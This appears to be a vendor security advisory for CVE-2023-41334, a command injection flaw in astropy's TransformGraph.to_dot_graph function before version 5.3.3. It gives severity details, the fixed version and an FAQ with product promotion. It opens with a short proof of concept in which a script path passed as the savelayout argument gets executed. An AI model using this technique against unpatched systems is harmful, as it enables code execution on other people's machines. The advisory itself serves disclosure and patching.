CVE-2023-41334

RCE in TranformGraph().todotgraph function

$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt

$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>> 

$ cat /tmp/poc.txt
astrorce

code execution on the user's machine

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

CVE-2023-41334 has a CVSS score of 8.4 (High). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.3.3); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2023-41334? CVE-2023-41334 is a high-severity command injection vulnerability in astropy (pip), affecting versions < 5.3.3. It is fixed in 5.3.3. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
2. How severe is CVE-2023-41334? CVE-2023-41334 has a CVSS score of 8.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of astropy are affected by CVE-2023-41334? astropy (pip) versions < 5.3.3 is affected.
4. Is there a fix for CVE-2023-41334? Yes. CVE-2023-41334 is fixed in 5.3.3. Upgrade to this version or later.
5. Is CVE-2023-41334 exploitable, and should I be worried? Whether CVE-2023-41334 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-41334 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-41334? Upgrade astropy to 5.3.3 or later.